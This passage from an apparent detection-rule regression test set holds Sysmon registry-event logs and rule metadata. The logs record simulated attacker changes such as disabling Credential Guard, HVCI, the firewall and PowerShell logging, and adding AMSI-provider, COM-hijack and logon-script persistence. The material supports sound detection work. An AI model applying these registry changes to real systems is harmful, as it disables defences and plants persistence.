\"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T18:12:38.500426Z\"\n }\n },\n \"EventRecordID\": 28344633,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 18:12:38.492\",\n \"ProcessGuid\": \"5AA13A44-6494-68FE-6A56-000000004002\",\n \"ProcessId\": 7460,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-3960063115-309473240-3247002503-500\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\Domains\\\\bad-domain.com\\\\bad-subdomain\\\\*\",\n \"Details\": \"DWORD (0x00000002)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_change_security_zones/info.yml",
"content": "id: a118df85-dbf8-48d6-a3a6-f6ddebf975b6\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 45e112d0-7759-4c2a-aa36-9f8fb79d3393\n title: IE Change Domain Zone\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_change_security_zones/45e112d0-7759-4c2a-aa36-9f8fb79d3393.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_credential_guard_disabled/73921b9c-cafd-4446-b0c6-fdb0ace42bc0.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-26T06:45:50.191274Z\"\n }\n },\n \"EventRecordID\": 23575,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3484,\n \"ThreadID\": 3424\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-12-26 06:45:50.187\",\n \"ProcessGuid\": \"0197231E-2F1D-694E-F304-000000000A00\",\n \"ProcessId\": 12232,\n \"Image\": \"C:\\\\WINDOWS\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"TargetObject\": \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\DeviceGuard\\\\EnableVirtualizationBasedSecurity\",\n \"Details\": \"DWORD (0x00000000)\",\n \"User\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_credential_guard_disabled/info.yml",
"content": "id: 7d8d93c3-25b2-4225-9f91-66997f5b446f\ndescription: N/A\ndate: 2025-12-26\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 73921b9c-cafd-4446-b0c6-fdb0ace42bc0\n title: Windows Credential Guard Disabled - Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_credential_guard_disabled/73921b9c-cafd-4446-b0c6-fdb0ace42bc0.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_deviceguard_hypervisorenforcedcodeintegrity_disabled/8b7273a4-ba5d-4d8a-b04f-11f2900d043a.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T18:22:33.661127Z\"\n }\n },\n \"EventRecordID\": 28528165,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 18:22:33.654\",\n \"ProcessGuid\": \"5AA13A44-66E9-68FE-AC56-000000004002\",\n \"ProcessId\": 7108,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\DeviceGuard\\\\Scenarios\\\\HypervisorEnforcedCodeIntegrity\\\\Enabled\",\n \"Details\": \"DWORD (0x00000000)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_deviceguard_hypervisorenforcedcodeintegrity_disabled/info.yml",
"content": "id: b60c9c4c-27e7-4870-af1d-f35582a44c07\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 8b7273a4-ba5d-4d8a-b04f-11f2900d043a\n title: Windows Hypervisor Enforced Code Integrity Disabled\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_deviceguard_hypervisorenforcedcodeintegrity_disabled/8b7273a4-ba5d-4d8a-b04f-11f2900d043a.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_disable_administrative_share/c7dcacd0-cc59-4004-b0a4-1d6cdebe6f3e.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T18:29:32.286061Z\"\n }\n },\n \"EventRecordID\": 28656599,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 18:29:32.271\",\n \"ProcessGuid\": \"5AA13A44-688C-68FE-D556-000000004002\",\n \"ProcessId\": 2712,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\LanmanServer\\\\Parameters\\\\AutoShareServer\",\n \"Details\": \"DWORD (0x00000000)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T18:29:32.296086Z\"\n }\n },\n \"EventRecordID\": 28656618,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 18:29:32.287\",\n \"ProcessGuid\": \"5AA13A44-688C-68FE-D656-000000004002\",\n \"ProcessId\": 368,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\LanmanServer\\\\Parameters\\\\AutoShareWks\",\n \"Details\": \"DWORD (0x00000000)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_disable_administrative_share/info.yml",
"content": "id: c99b67cd-0a57-4023-9f88-35806d622b48\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: c7dcacd0-cc59-4004-b0a4-1d6cdebe6f3e\n title: Disable Administrative Share Creation at Startup\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_disable_administrative_share/c7dcacd0-cc59-4004-b0a4-1d6cdebe6f3e.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_disable_defender_firewall/974515da-6cc5-4c95-ae65-f97f9150ec7f.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T18:36:31.269411Z\"\n }\n },\n \"EventRecordID\": 28785637,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 18:36:31.258\",\n \"ProcessGuid\": \"5AA13A44-6A2F-68FE-0857-000000004002\",\n \"ProcessId\": 9720,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\PublicProfile\\\\EnableFirewall\",\n \"Details\": \"DWORD (0x00000000)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_disable_defender_firewall/info.yml",
"content": "id: aa89a142-e72f-4b37-acd2-274ed81a1477\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 974515da-6cc5-4c95-ae65-f97f9150ec7f\n title: Disable Microsoft Defender Firewall via Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_disable_defender_firewall/974515da-6cc5-4c95-ae65-f97f9150ec7f.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications/3ae1a046-f7db-439d-b7ce-b8b366b81fa6.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T18:42:48.447971Z\"\n }\n },\n \"EventRecordID\": 28901143,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 18:42:48.434\",\n \"ProcessGuid\": \"5AA13A44-6BA8-68FE-2F57-000000004002\",\n \"ProcessId\": 7476,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ImmersiveShell\\\\UseActionCenterExperience\",\n \"Details\": \"DWORD (0x00000000)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications/info.yml",
"content": "id: b5d83cd8-e1e5-459e-9f06-7c1e41a9bfeb\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 3ae1a046-f7db-439d-b7ce-b8b366b81fa6\n title: Disable Windows Security Center Notifications\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications/3ae1a046-f7db-439d-b7ce-b8b366b81fa6.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_persistence_amsi_providers/33efc23c-6ea2-4503-8cfe-bdf82ce8f705.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T23:49:35.941239Z\"\n }\n },\n \"EventRecordID\": 16380977,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-25 23:49:35.941\",\n \"ProcessGuid\": \"5AA13A44-620F-68FD-9A3E-000000004002\",\n \"ProcessId\": 9952,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\regsvr32.exe\",\n \"TargetObject\": \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\AMSI\\\\Providers\\\\{00000000-DEAD-DEAD-DEAD-B2B2E0859059}\\\\(Default)\",\n \"Details\": \"FakeAmsi\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_persistence_amsi_providers/info.yml",
"content": "id: 825fc38f-ff54-4338-8016-6f3477c7aa8f\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 33efc23c-6ea2-4503-8cfe-bdf82ce8f705\n title: Potential Persistence Via New AMSI Providers - Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_persistence_amsi_providers/33efc23c-6ea2-4503-8cfe-bdf82ce8f705.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking/9b0f8a61-91b2-464f-aceb-0527e0a45020.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T23:53:11.117530Z\"\n }\n },\n \"EventRecordID\": 16447792,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-25 23:53:11.114\",\n \"ProcessGuid\": \"5AA13A44-62E7-68FD-C13E-000000004002\",\n \"ProcessId\": 8536,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-3960063115-309473240-3247002503-500_Classes\\\\CLSID\\\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\\\TreatAs\\\\(Default)\",\n \"Details\": \"{00000001-0000-0000-0000-0000FEEDACDC}\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking/info.yml",
"content": "id: 482ef6c8-3c2a-4b7b-a82e-b09f27576b96\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 9b0f8a61-91b2-464f-aceb-0527e0a45020\n title: Potential COM Object Hijacking Via TreatAs Subkey - Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking/9b0f8a61-91b2-464f-aceb-0527e0a45020.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_persistence_logon_scripts_userinitmprlogonscript/9ace0707-b560-49b8-b6ca-5148b42f39fb.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T23:56:33.715505Z\"\n }\n },\n \"EventRecordID\": 16510574,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-25 23:56:33.705\",\n \"ProcessGuid\": \"5AA13A44-63B1-68FD-D93E-000000004002\",\n \"ProcessId\": 9452,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-3960063115-309473240-3247002503-500\\\\Environment\\\\UserInitMprLogonScript\",\n \"Details\": \"C:\\\\Users\\\\ADMINI~1\\\\AppData\\\\Local\\\\Temp\\\\art.bat\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_persistence_logon_scripts_userinitmprlogonscript/info.yml",
"content": "id: 84c6a082-3aa5-4387-b113-60415aeb9458\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 9ace0707-b560-49b8-b6ca-5148b42f39fb\n title: Potential Persistence Via Logon Scripts - Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_persistence_logon_scripts_userinitmprlogonscript/9ace0707-b560-49b8-b6ca-5148b42f39fb.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled/fecfd1a1-cc78-4313-a1ea-2ee2e8ec27a7.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-31T05:57:54.388692Z\"\n }\n },\n \"EventRecordID\": 657715,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3080,\n \"ThreadID\": 4948\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-31 05:57:54.387\",\n \"ProcessGuid\": \"14207D89-4FE2-6904-D207-000000004002\",\n \"ProcessId\": 5612,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-1938467512-983293709-721003795-1103\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ScriptBlockLogging\\\\EnableScriptBlockLogging\",\n \"Details\": \"DWORD (0x00000000)\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled/info.yml",
"content": "id: a6c567e7-d5d4-494b-9a66-71fa87c44f8e\ndescription: N/A\ndate: 2025-10-31\nauthor: SigmaHQ Team\nrule_metadata:\n - id: fecfd1a1-cc78-4313-a1ea-2ee2e8ec27a7\n title: PowerShell Logging Disabled Via Registry Key Tampering\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled/fecfd1a1-cc78-4313-a1ea-2ee2e8ec27a7.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_pua_sysinternals_execution_via_eula/25ffa65d-76d8-4da5-a832-3f2b0136e133.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T23:59:35.308812Z\"\n }\n },\n \"EventRecordID\": 16567695,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-25 23:59:35.300\",\n \"ProcessGuid\": \"5AA13A44-6465-68FD-EF3E-000000004002\",\n \"ProcessId\": 7500,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\PsService.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-3960063115-309473240-3247002503-500\\\\Software\\\\Sysinternals\\\\PsService\\\\EulaAccepted\",\n \"Details\": \"DWORD (0x00000001)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_pua_sysinternals_execution_via_eula/info.yml",
"content": "id: 070ba0e3-b1e5-4fa9-9935-ca8a8c233b3d\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 25ffa65d-76d8-4da5-a832-3f2b0136e133\n title: PUA - Sysinternal Tool Execution - Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_pua_sysinternals_execution_via_eula/25ffa65d-76d8-4da5-a832-3f2b0136e133.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_pua_sysinternals_renamed_execution_via_eula/f50f3c09-557d-492d-81db-9064a8d4e211.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T00:00:51.970813Z\"\n }\n },\n \"EventRecordID\": 16592206,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 00:00:51.957\",\n \"ProcessGuid\": \"5AA13A44-64B2-68FD-FB3E-000000004002\",\n \"ProcessId\": 4776,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\FakeSysinternals.exe\",\n \"TargetObject\": 